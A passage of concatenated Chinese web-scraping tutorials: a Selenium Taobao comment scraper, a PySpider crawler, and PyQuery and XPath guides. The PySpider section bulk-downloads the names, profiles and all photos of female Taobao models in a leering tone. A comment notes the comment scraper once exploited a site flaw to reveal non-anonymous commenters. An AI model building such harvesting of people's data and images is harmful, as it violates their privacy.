    url = item.find('a').attr('href')
    if not url.startswith('http'):
    url = 'https:' + url
    comments_info = []
    comments = item.find('p').items()
    for comment in comments:
    comment_user = comment.find('b').remove().text()
    comment_content = comment.text()
    anonymous_str = config.ANONYMOUS_STR
    if not anonymous_str in comment_user: #此句本来用来判断是否匿名,现淘宝已修复该漏洞,只能抓取全部匿名的了
    comments_info.append((comment_content, comment_user))
    info.append({'url': url, 'comments_info': comments_info})
    return info

    然后保存到 Excel 中。 运行结果截图 QQ20160630-7@2x 可以发现,另外提供了先登陆后爬取的功能,然后保存了爬取进度。

    采集链接

    刚才我们测试的链接是哪里来的?我们不能一个个去找吧?所以,在这里又提供了一个采集链接的过程,将采集的链接保存到文本,然后抓取的时候从文本读取一个个链接即可。 所以在这里我们模拟搜索的过程,关键字让用户输入,将搜索的链接采集下来。 在此 Selenium 模拟了输入文字,点击按钮和翻页的功能。 QQ20160630-4@2x 核心代码如下 下面的方法模拟了加载出搜索框之后输入文字点击回车的过程,将网页的结果返回。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    def get_results(keyword):
    driver = config.DRIVER
    link = config.SEARCH_LINK
    driver.get(link)
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.ID, "mq"))
    )
    except TimeoutException:
    print u'加载页面失败'
    try:
    element = driver.find_element_by_css_selector('#mq')
    print u'成功找到了搜索框'
    keyword = keyword.decode('utf-8', 'ignore')
    print keyword
    print u'输入关键字', keyword
    for word in keyword:
    print word
    element.send_keys(word)
    element.send_keys(Keys.ENTER)
    except NoSuchElementException:
    print u'没有找到搜索框'
    print u'正在查询该关键字'
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, "#J_ItemList div.productImg-wrap"))
    )
    except TimeoutException:
    print u'查询失败'
    html = driver.page_source
    return html

    下面的方法模拟了翻页的过程,到指定的翻页数目为止

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    def get_more_link():
    print u'正在采集下一页的宝贝链接'
    driver = config.DRIVER
    try:
    js = "window.scrollTo(0,document.body.scrollHeight)"
    driver.execute_script(js)
    except WebDriverException:
    print u'页面下拉失败'
    try:
    next = driver.find_element_by_css_selector('#content b.ui-page-num > a.ui-page-next')
    next.click()
    except NoSuchElementException:
    print u'找到了翻页按钮'
    driver.implicitly_wait(5)
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, "#J_ItemList div.productImg-wrap"))
    )
    except TimeoutException:
    print u'查询失败'
    html = driver.page_source
    parse_html(html)

    运行结果截图 QQ20160630-5@2x 采集到到内容保存到 urls.txt 中 QQ20160630-6@2x 嗯,这下采集链接和爬取链接都有了。

    代码放送

    扯了这么多,许多童鞋已经蠢蠢欲动了,大声告诉我你们想要的是什么? 哦没错!代码! 嗯在这呢! 代码

    附加扯淡

    嗯想说一句,在这里还提供了一些可配置项,比如翻页最大次数,超时时间,下拉次数,登录链接等等。 都可以在 config.py 中配置。

    • URLS_FILE

    保存链接单的文件

    • OUT_FILE

    输出文本 EXCEL 路径

    • COUNT_TXT

    计数文件

    • DRIVER

    浏览器驱动

    • TIMEOUT

    采集超时时间

    • MAX_SCROLL_TIME

    下拉滚动条最大次数

    • NOW_URL_COUNT

    当前采集到第几个链接

    • LOGIN_URL

    登录淘宝的链接

    • SEARCH_LINK

    采集淘宝链接搜索页面

    • CONTENT

    采集链接临时变量

    • PAGE

    采集淘宝链接翻页数目

    • FILTER_SHOP

    是否过滤相同店铺

    • ANONYMOUS_STR

    匿名用户标志,已失效

    哦,对了,程序怎么用啊?看 README!

    Other

    在网上搜了很多关于Appium的教程,但没有系统完整的教程,在网上找了本关于appium的英文书籍,边学边翻译,同时记录学习心得,与志同道合的人一起交流探讨! 去除很多繁琐的东西,添加自己实践的东西,一起交流,有写错的或者翻译不对的地方,请各位大神指出来,一起交流进步 第一章 Appium的工作原理 1.iOS端 执行测试脚本,发送HTTP请求给Appium Server , Appium Server发送命令给Apple Instruments, Apple Instruments寻找设备,开始执行脚本;每执行一条语句都会原路返回(执行的结果也就是我们常说的log) 2.Android端 首先Appium仅支持安卓版本17或以上版本!如果需要测试17以前版本,需要使用Selendroid.它的工作原理其实与iOS工作原理一样: 执行测试脚本,发送HTTP请求给Appium Server , Appium Server发送命令给UIAutomator(>=17时){Selendroid(<=17)} ,UIAutomator(>=17时){Selendroid(<=17)} 寻找设备,开始执行脚本;每执行一条语句都会原路返回(执行的结果也就是我们常说的log) 备注:执行脚本想要给Appium发送命令,其中必须有一个翻译器,翻译成Appium能识别的命令(Selenium JSON),这个工具简单理解就是把咱们写的脚本给转换成appium可以识别的命令。

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    审时度势

    PySpider 是一个我个人认为非常方便并且功能强大的爬虫框架,支持多线程爬取、JS 动态解析,提供了可操作界面、出错重试、定时爬取等等的功能,使用非常人性化。 本篇内容通过跟我做一个好玩的 PySpider 项目,来理解 PySpider 的运行流程。

    招兵买马

    具体的安装过程请查看本节讲述 安装 嗯,安装好了之后就与我大干一番吧。

    鸿鹄之志

    我之前写过的一篇文章 抓取淘宝 MM 照片 由于网页改版,爬取过程中需要的 URL 需要 JS 动态解析生成,所以之前用的 urllib2 不能继续使用了,在这里我们利用 PySpider 重新实现一下。 所以现在我们需要做的是抓取淘宝 MM 的个人信息和图片存储到本地。

    审时度势

    爬取目标网站:https://mm.taobao.com/json/request_top_list.htm?page=1,大家打开之后可以看到许多淘宝 MM 的列表。 列表有多少? https://mm.taobao.com/json/request_top_list.htm?page=10000,第 10000 页都有,看你想要多少。我什么也不知道。 随机点击一位 MM 的姓名,可以看到她的基本资料。 QQ20160326-4@2x 可以看到图中有一个个性域名,我们复制到浏览器打开。mm.taobao.com/tyy6160 QQ20160326-5@2x 嗯,往下拖,海量的 MM 图片都在这里了,怎么办你懂得,我们要把她们的照片和个人信息都存下来。 P.S. 注意图中进度条!你猜有多少图片~

    利剑出鞘

    安装成功之后,跟我一步步地完成一个网站的抓取,你就会明白 PySpider 的基本用法了。 命令行下执行

    1
    pyspider all

    这句命令的意思是,运行 pyspider 并 启动它的所有组件。 E6632A0A-9067-4B97-93A2-5DEF23FB4CD8 可以发现程序已经正常启动,并在 5000 这个端口运行。

    一触即发

    接下来在浏览器中输入 http://localhost:5000,可以看到 PySpider 的主界面,点击右下角的 Create,命名为 taobaomm,当然名称你可以随意取,继续点击 Create。 QQ20160325-0@2x 这样我们会进入到一个爬取操作的页面。 QQ20160325-1@2x 整个页面分为两栏,左边是爬取页面预览区域,右边是代码编写区域。下面对区块进行说明: 左侧绿色区域:这个请求对应的 JSON 变量,在 PySpider 中,其实每个请求都有与之对应的 JSON 变量,包括回调函数,方法名,请求链接,请求数据等等。 绿色区域右上角 Run:点击右上角的 run 按钮,就会执行这个请求,可以在左边的白色区域出现请求的结果。 左侧 enable css selector helper: 抓取页面之后,点击此按钮,可以方便地获取页面中某个元素的 CSS 选择器。 左侧 web: 即抓取的页面的实时预览图。 左侧 html: 抓取页面的 HTML 代码。 左侧 follows: 如果当前抓取方法中又新建了爬取请求,那么接下来的请求就会出现在 follows 里。 左侧 messages: 爬取过程中输出的一些信息。 右侧代码区域: 你可以在右侧区域书写代码,并点击右上角的 Save 按钮保存。 右侧 WebDAV Mode: 打开调试模式,左侧最大化,便于观察调试。

    乘胜追击

    依然是上一节的那个网址,https://mm.taobao.com/json/request_top_list.htm?page=1,其中 page 参数代表页码。所以我们暂时抓取前 30 页。页码到最后可以随意调整。 首先我们定义基地址,然后定义爬取的页码和总页码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    from pyspider.libs.base_handler import *


    class Handler(BaseHandler):
    crawl_config = {
    }

    def __init__(self):
    self.base_url = 'https://mm.taobao.com/json/request_top_list.htm?page='
    self.page_num = 1
    self.total_num = 30

    @every(minutes=24 * 60)
    def on_start(self):
    while self.page_num <= self.total_num:
    url = self.base_url + str(self.page_num)
    print url
    self.crawl(url, callback=self.index_page)
    self.page_num += 1

    @config(age=10 * 24 * 60 * 60)
    def index_page(self, response):
    for each in response.doc('a[href^="http"]').items():
    self.crawl(each.attr.href, callback=self.detail_page)

    @config(priority=2)
    def detail_page(self, response):
    return {
    "url": response.url,
    "title": response.doc('title').text(),
    }

    点击 save 保存代码,然后点击左边的 run,运行代码。 QQ20160325-2@2x 运行后我们会发现 follows 出现了 30 这个数字,说明我们接下来有 30 个新请求,点击可查看所有爬取列表。另外控制台也有输出,将所有要爬取的 URL 打印了出来。 然后我们点击左侧任意一个绿色箭头,可以继续爬取这个页面。例如点击第一个 URL,来爬取这个 URL QQ20160325-3@2x 点击之后,再查看下方的 web 页面,可以预览实时页面,这个页面被我们爬取了下来,并且回调到 index_page 函数来处理,目前 index_page 函数我们还没有处理,所以是继续构件了所有的链接请求。 QQ20160325-4@2x 好,接下来我们怎么办?当然是进入到 MM 到个人页面去爬取了。

    如火如荼

    爬取到了 MM 的列表,接下来就要进入到 MM 详情页了,修改 index_page 方法。

    1
    2
    3
    def index_page(self, response):
    for each in response.doc('.lady-name').items():
    self.crawl(each.attr.href, callback=self.detail_page)

    其中 response 就是刚才爬取的列表页,response 其实就相当于列表页的 html 代码,利用 doc 函数,其实是调用了 PyQuery,用 CSS 选择器得到每一个 MM 的链接,然后重新发起新的请求。 比如,我们这里拿到的 each.attr.href 可能是 mm.taobao.com/self/model_card.htm?user_id=687471686,在这里继续调用了 crawl 方法,代表继续抓取这个链接的详情。

    1
    self.crawl(each.attr.href, callback=self.detail_page)

    然后回调函数就是 detail_page,爬取的结果会作为 response 变量传过去。detail_page 接到这个变量继续下面的分析。 QQ20160325-7@2x 好,我们继续点击 run 按钮,开始下一个页面的爬取。得到的结果是这样的。 QQ20160325-5@2x 哦,有些页面没有加载出来,这是为什么? 在之前的文章说过,这个页面比较特殊,右边的页面使用 JS 渲染生成的,而普通的抓取是不能得到 JS 渲染后的页面的,这可麻烦了。 然而,幸运的是,PySpider 提供了动态解析 JS 的机制。 友情提示:可能有的小伙伴不知道 PhantomJS,可以参考 爬虫 JS 动态解析 因为我们在前面装好了 PhantomJS,所以,这时候就轮到它来出场了。在最开始运行 PySpider 的时候,使用了pyspider all命令,这个命令是把 PySpider 所有的组件启动起来,其中也包括 PhantomJS。 所以我们代码怎么改呢?很简单。

    1
    2
    3
    def index_page(self, response):
    for each in response.doc('.lady-name').items():
    self.crawl(each.attr.href, callback=self.detail_page, fetch_type='js')

    只是简单地加了一个 fetch_type=’js’,点击绿色的返回箭头,重新运行一下。 可以发现,页面已经被我们成功加载出来了,简直不能更帅! QQ20160325-9@2x 看下面的个性域名,所有我们需要的 MM 图片都在那里面了,所以我们需要继续抓取这个页面。

    胜利在望

    好,继续修改 detail_page 方法,然后增加一个 domain_page 方法,用来处理每个 MM 的个性域名。

    1
    2
    3
    4
    5
    6
    7
    def detail_page(self, response):
    domain = 'https:' + response.doc('.mm-p-domain-info li > span').text()
    print domain
    self.crawl(domain, callback=self.domain_page)

    def domain_page(self, response):
    pass

    好,继续重新 run,预览一下页面,终于,我们看到了 MM 的所有图片。 QQ20160326-0@2x 嗯,你懂得!

    只欠东风

    好,照片都有了,那么我们就偷偷地下载下来吧~ 完善 domain_page 代码,实现保存简介和遍历保存图片的方法。 在这里,PySpider 有一个特点,所有的 request 都会保存到一个队列中,并具有去重和自动重试机制。所以,我们最好的解决方法是,把每张图片的请求都写成一个 request,然后成功后用文件写入即可,这样会避免图片加载不全的问题。 曾经在之前文章写过图片下载和文件夹创建的过程,在这里就不多赘述原理了,直接上写好的工具类,后面会有完整代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import os

    class Deal:
    def __init__(self):
    self.path = DIR_PATH
    if not self.path.endswith('/'):
    self.path = self.path + '/'
    if not os.path.exists(self.path):
    os.makedirs(self.path)

    def mkDir(self, path):
    path = path.strip()
    dir_path = self.path + path
    exists = os.path.exists(dir_path)
    if not exists:
    os.makedirs(dir_path)
    return dir_path
    else:
    return dir_path

    def saveImg(self, content, path):
    f = open(path, 'wb')
    f.write(content)
    f.close()

    def saveBrief(self, content, dir_path, name):
    file_name = dir_path + "/" + name + ".txt"
    f = open(file_name, "w+")
    f.write(content.encode('utf-8'))

    def getExtension(self, url):
    extension = url.split('.')[-1]
    return extension

    这里面包含了四个方法。

    mkDir:创建文件夹,用来创建 MM 名字对应的文件夹。 saveBrief: 保存简介,保存 MM 的文字简介。 saveImg: 传入图片二进制流以及保存路径,存储图片。 getExtension: 获得链接的后缀名,通过图片 URL 获得。

    然后在 domain_page 中具体实现如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    def domain_page(self, response):
    name = response.doc('.mm-p-model-info-left-top dd > a').text()
    dir_path = self.deal.mkDir(name)
    brief = response.doc('.mm-aixiu-content').text()
    if dir_path:
    imgs = response.doc('.mm-aixiu-content img').items()
    count = 1
    self.deal.saveBrief(brief, dir_path, name)
    for img in imgs:
    url = img.attr.src
    if url:
    extension = self.deal.getExtension(url)
    file_name = name + str(count) + '.' + extension
    count += 1
    self.crawl(img.attr.src, callback=self.save_img,
    save={'dir_path': dir_path, 'file_name': file_name})

    def save_img(self, response):
    content = response.content
    dir_path = response.save['dir_path']
    file_name = response.save['file_name']
    file_path = dir_path + '/' + file_name
    self.deal.saveImg(content, file_path)

    以上方法首先获取了页面的所有文字,然后调用了 saveBrief 方法存储简介。 然后遍历了 MM 所有的图片,并通过链接获取后缀名,和 MM 的姓名以及自增计数组合成一个新的文件名,调用 saveImg 方法保存图片。

    炉火纯青

    好,基本的东西都写好了。 接下来。继续完善一下代码。第一版本完成。 版本一功能:按照淘宝 MM 姓名分文件夹,存储 MM 的 txt 文本简介以及所有美图至本地。 可配置项:

    • PAGE_START: 列表开始页码
    • PAGE_END: 列表结束页码
    • DIR_PATH: 资源保存路径
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    #!/usr/bin/env python
    # -*- encoding: utf-8 -*-
    # Created on 2016-03-25 00:59:45
    # Project: taobaomm

    from pyspider.libs.base_handler import *

    PAGE_START = 1
    PAGE_END = 30
    DIR_PATH = '/var/py/mm'


    class Handler(BaseHandler):
    crawl_config = {
    }

    def __init__(self):
    self.base_url = 'https://mm.taobao.com/json/request_top_list.htm?page='
    self.page_num = PAGE_START
    self.total_num = PAGE_END
    self.deal = Deal()

    def on_start(self):
    while self.page_num <= self.total_num:
    url = self.base_url + str(self.page_num)
    self.crawl(url, callback=self.index_page)
    self.page_num += 1

    def index_page(self, response):
    for each in response.doc('.lady-name').items():
    self.crawl(each.attr.href, callback=self.detail_page, fetch_type='js')

    def detail_page(self, response):
    domain = response.doc('.mm-p-domain-info li > span').text()
    if domain:
    page_url = 'https:' + domain
    self.crawl(page_url, callback=self.domain_page)

    def domain_page(self, response):
    name = response.doc('.mm-p-model-info-left-top dd > a').text()
    dir_path = self.deal.mkDir(name)
    brief = response.doc('.mm-aixiu-content').text()
    if dir_path:
    imgs = response.doc('.mm-aixiu-content img').items()
    count = 1
    self.deal.saveBrief(brief, dir_path, name)
    for img in imgs:
    url = img.attr.src
    if url:
    extension = self.deal.getExtension(url)
    file_name = name + str(count) + '.' + extension
    count += 1
    self.crawl(img.attr.src, callback=self.save_img,
    save={'dir_path': dir_path, 'file_name': file_name})

    def save_img(self, response):
    content = response.content
    dir_path = response.save['dir_path']
    file_name = response.save['file_name']
    file_path = dir_path + '/' + file_name
    self.deal.saveImg(content, file_path)


    import os

    class Deal:
    def __init__(self):
    self.path = DIR_PATH
    if not self.path.endswith('/'):
    self.path = self.path + '/'
    if not os.path.exists(self.path):
    os.makedirs(self.path)

    def mkDir(self, path):
    path = path.strip()
    dir_path = self.path + path
    exists = os.path.exists(dir_path)
    if not exists:
    os.makedirs(dir_path)
    return dir_path
    else:
    return dir_path

    def saveImg(self, content, path):
    f = open(path, 'wb')
    f.write(content)
    f.close()

    def saveBrief(self, content, dir_path, name):
    file_name = dir_path + "/" + name + ".txt"
    f = open(file_name, "w+")
    f.write(content.encode('utf-8'))

    def getExtension(self, url):
    extension = url.split('.')[-1]
    return extension

    粘贴到你的 PySpider 中运行吧~ 其中有一些知识点,我会在后面作详细的用法总结。大家可以先体会一下代码。 QQ20160326-1@2x 保存之后,点击下方的 run,你会发现,海量的 MM 图片已经涌入你的电脑啦~ QQ20160326-2@2x QQ20160326-3@2x 需要解释?需要我也不解释!

    项目代码

    TaobaoMM - GitHub

    尚方宝剑

    如果想了解 PySpider 的更多内容,可以查看官方文档。 官方文档

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    你是否觉得 XPath 的用法多少有点晦涩难记呢? 你是否觉得 BeautifulSoup 的语法多少有些悭吝难懂呢? 你是否甚至还在苦苦研究正则表达式却因为少些了一个点而抓狂呢? 你是否已经有了一些前端基础了解选择器却与另外一些奇怪的选择器语法混淆了呢? 嗯,那么,前端大大们的福音来了,PyQuery 来了,乍听名字,你一定联想到了 jQuery,如果你对 jQuery 熟悉,那么 PyQuery 来解析文档就是不二之选!包括我在内! PyQuery 是 Python 仿照 jQuery 的严格实现。语法与 jQuery 几乎完全相同,所以不用再去费心去记一些奇怪的方法了。 天下竟然有这等好事?我都等不及了!

    安装

    有这等神器还不赶紧安装了!来!

    1
    pip install pyquery

    还是原来的配方,还是熟悉的味道。

    参考来源

    本文内容参考官方文档,更多内容,大家可以去官方文档学习,毕竟那里才是最原汁原味的。 目前版本 1.2.4 (2016/3/24) 官方文档

    简介

    pyquery allows you to make jquery queries on xml documents. The API is as much as possible the similar to jquery. pyquery uses lxml for fast xml and html manipulation. This is not (or at least not yet) a library to produce or interact with javascript code. I just liked the jquery API and I missed it in python so I told myself “Hey let’s make jquery in python”. This is the result. It can be used for many purposes, one idea that I might try in the future is to use it for templating with pure http templates that you modify using pyquery. I can also be used for web scrapping or for theming applications with Deliverance.

    pyquery 可让你用 jQuery 的语法来对 xml 进行操作。这I和 jQuery 十分类似。如果利用 lxml,pyquery 对 xml 和 html 的处理将更快。 这个库不是(至少还不是)一个可以和 JavaScript交互的代码库,它只是非常像 jQuery API 而已。

    初始化

    在这里介绍四种初始化方式。 (1)直接字符串

    1
    2
    from pyquery import PyQuery as pq
    doc = pq("<html></html>")

    pq 参数可以直接传入 HTML 代码,doc 现在就相当于 jQuery 里面的 $ 符号了。 (2)lxml.etree

    1
    2
    from lxml import etree
    doc = pq(etree.fromstring("<html></html>"))

    可以首先用 lxml 的 etree 处理一下代码,这样如果你的 HTML 代码出现一些不完整或者疏漏,都会自动转化为完整清晰结构的 HTML代码。 (3)直接传URL

    1
    2
    from pyquery import PyQuery as pq
    doc = pq('http://www.baidu.com')

    这里就像直接请求了一个网页一样,类似用 urllib2 来直接请求这个链接,得到 HTML 代码。 (4)传文件

    1
    2
    from pyquery import PyQuery as pq
    doc = pq(filename='hello.html')

    可以直接传某个路径的文件名。

    快速体验

    现在我们以本地文件为例,传入一个名字为 hello.html 的文件,文件内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <div>
    <ul>
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>

    编写如下程序

    1
    2
    3
    4
    5
    6
    7
    from pyquery import PyQuery as pq
    doc = pq(filename='hello.html')
    print doc.html()
    print type(doc)
    li = doc('li')
    print type(li)
    print li.text()

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
        <ul>
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>

    <class 'pyquery.pyquery.PyQuery'>
    <class 'pyquery.pyquery.PyQuery'>
    first item second item third item fourth item fifth item

    看,回忆一下 jQuery 的语法,是不是运行结果都是一样的呢? 在这里我们注意到了一点,PyQuery 初始化之后,返回类型是 PyQuery,利用了选择器筛选一次之后,返回结果的类型依然还是 PyQuery,这简直和 jQuery 如出一辙,不能更赞!然而想一下 BeautifulSoup 和 XPath 返回的是什么?列表!一种不能再进行二次筛选(在这里指依然利用 BeautifulSoup 或者 XPath 语法)的对象! 然而比比 PyQuery,哦我简直太爱它了!

    属性操作

    你可以完全按照 jQuery 的语法来进行 PyQuery 的操作。

    1
    2
    3
    4
    5
    6
    from pyquery import PyQuery as pq

    p = pq('<p id="hello" class="hello"></p>')('p')
    print p.attr("id")
    print p.attr("id", "plop")
    print p.attr("id", "hello")

    运行结果

    1
    2
    3
    hello
    <p id="plop" class="hello"/>
    <p id="hello" class="hello"/>

    再来一发

    1
    2
    3
    4
    5
    6
    7
    from pyquery import PyQuery as pq

    p = pq('<p id="hello" class="hello"></p>')('p')
    print p.addClass('beauty')
    print p.removeClass('hello')
    print p.css('font-size', '16px')
    print p.css({'background-color': 'yellow'})

    运行结果

    1
    2
    3
    4
    <p id="hello" class="hello beauty"/>
    <p id="hello" class="beauty"/>
    <p id="hello" class="beauty" style="font-size: 16px"/>
    <p id="hello" class="beauty" style="font-size: 16px; background-color: yellow"/>

    依旧是那么优雅与自信! 在这里我们发现了,这是一连串的操作,而 p 是一直在原来的结果上变化的。 因此执行上述操作之后,p 本身也发生了变化。

    DOM操作

    同样的原汁原味的 jQuery 语法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pyquery import PyQuery as pq

    p = pq('<p id="hello" class="hello"></p>')('p')
    print p.append(' check out <a href="http://reddit.com/r/python"><span>reddit</span></a>')
    print p.prepend('Oh yes!')
    d = pq('<div class="wrap"><div id="test"><a href="http://cuiqingcai.com">Germy</a></div></div>')
    p.prependTo(d('#test'))
    print p
    print d
    d.empty()
    print d

    运行结果

    1
    2
    3
    4
    5
    <p id="hello" class="hello"> check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p>
    <p id="hello" class="hello">Oh yes! check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p>
    <p id="hello" class="hello">Oh yes! check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p>
    <div class="wrap"><div id="test"><p id="hello" class="hello">Oh yes! check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p><a href="http://cuiqingcai.com">Germy</a></div></div>
    <div class="wrap"/>

    这不需要多解释了吧。 DOM 操作也是与 jQuery 如出一辙。

    遍历

    遍历用到 items 方法返回对象列表,或者用 lambda

    1
    2
    3
    4
    5
    6
    7
    from pyquery import PyQuery as pq
    doc = pq(filename='hello.html')
    lis = doc('li')
    for li in lis.items():
    print li.html()

    print lis.each(lambda e: e)

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    first item
    <a href="link2.html">second item</a>
    <a href="link3.html"><span class="bold">third item</span></a>
    <a href="link4.html">fourth item</a>
    <a href="link5.html">fifth item</a>
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>

    不过最常用的还是 items 方法

    网页请求

    PyQuery 本身还有网页请求功能,而且会把请求下来的网页代码转为 PyQuery 对象。

    1
    2
    3
    from pyquery import PyQuery as pq
    print pq('http://cuiqingcai.com/', headers={'user-agent': 'pyquery'})
    print pq('http://httpbin.org/post', {'foo': 'bar'}, method='post', verify=True)

    感受一下,GET,POST,样样通。

    Ajax

    PyQuery 同样支持 Ajax 操作,带有 get 和 post 方法,不过不常用,一般我们不会用 PyQuery 来做网络请求,仅仅是用来解析。 PyQueryAjax

    API

    最后少不了的,API大放送。 API 原汁原味最全的API,都在里面了!如果你对 jQuery 语法不熟,强烈建议先学习下 jQuery,再回来看 PyQuery,你会感到异常亲切!

    结语

    用完了 PyQuery,我已经深深爱上了他! 你呢?

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    原文

    前言

    前面我们介绍了 BeautifulSoup 的用法,这个已经是非常强大的库了,不过还有一些比较流行的解析库,例如 lxml,使用的是 Xpath 语法,同样是效率比较高的解析方法。如果大家对 BeautifulSoup 使用不太习惯的话,可以尝试下 Xpath。

    参考来源

    lxml用法源自 lxml python 官方文档,更多内容请直接参阅官方文档,本文对其进行翻译与整理。 lxml XPath语法参考 w3school w3school

    视频资源

    如果你对 XPath 不熟悉的话,可以看下这个视频资源: web端功能自动化定位元素

    安装

    1
    pip install lxml

    利用 pip 安装即可

    XPath语法

    XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。

    节点关系

    (1)父(Parent) 每个元素以及属性都有一个父。 在下面的例子中,book 元素是 title、author、year 以及 price 元素的父:

    1
    2
    3
    4
    5
    6
    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    (2)子(Children) 元素节点可有零个、一个或多个子。 在下面的例子中,title、author、year 以及 price 元素都是 book 元素的子:

    1
    2
    3
    4
    5
    6
    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    (3)同胞(Sibling) 拥有相同的父的节点 在下面的例子中,title、author、year 以及 price 元素都是同胞:

    1
    2
    3
    4
    5
    6
    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    (4)先辈(Ancestor) 某节点的父、父的父,等等。 在下面的例子中,title 元素的先辈是 book 元素和 bookstore 元素:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <bookstore>

    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    </bookstore>

    (5)后代(Descendant) 某个节点的子,子的子,等等。 在下面的例子中,bookstore 的后代是 book、title、author、year 以及 price 元素:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <bookstore>

    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    </bookstore>

    选取节点

    XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。

    下面列出了最有用的路径表达式:

    表达式

    描述

    nodename

    选取此节点的所有子节点。

    /

    从根节点选取。

    //

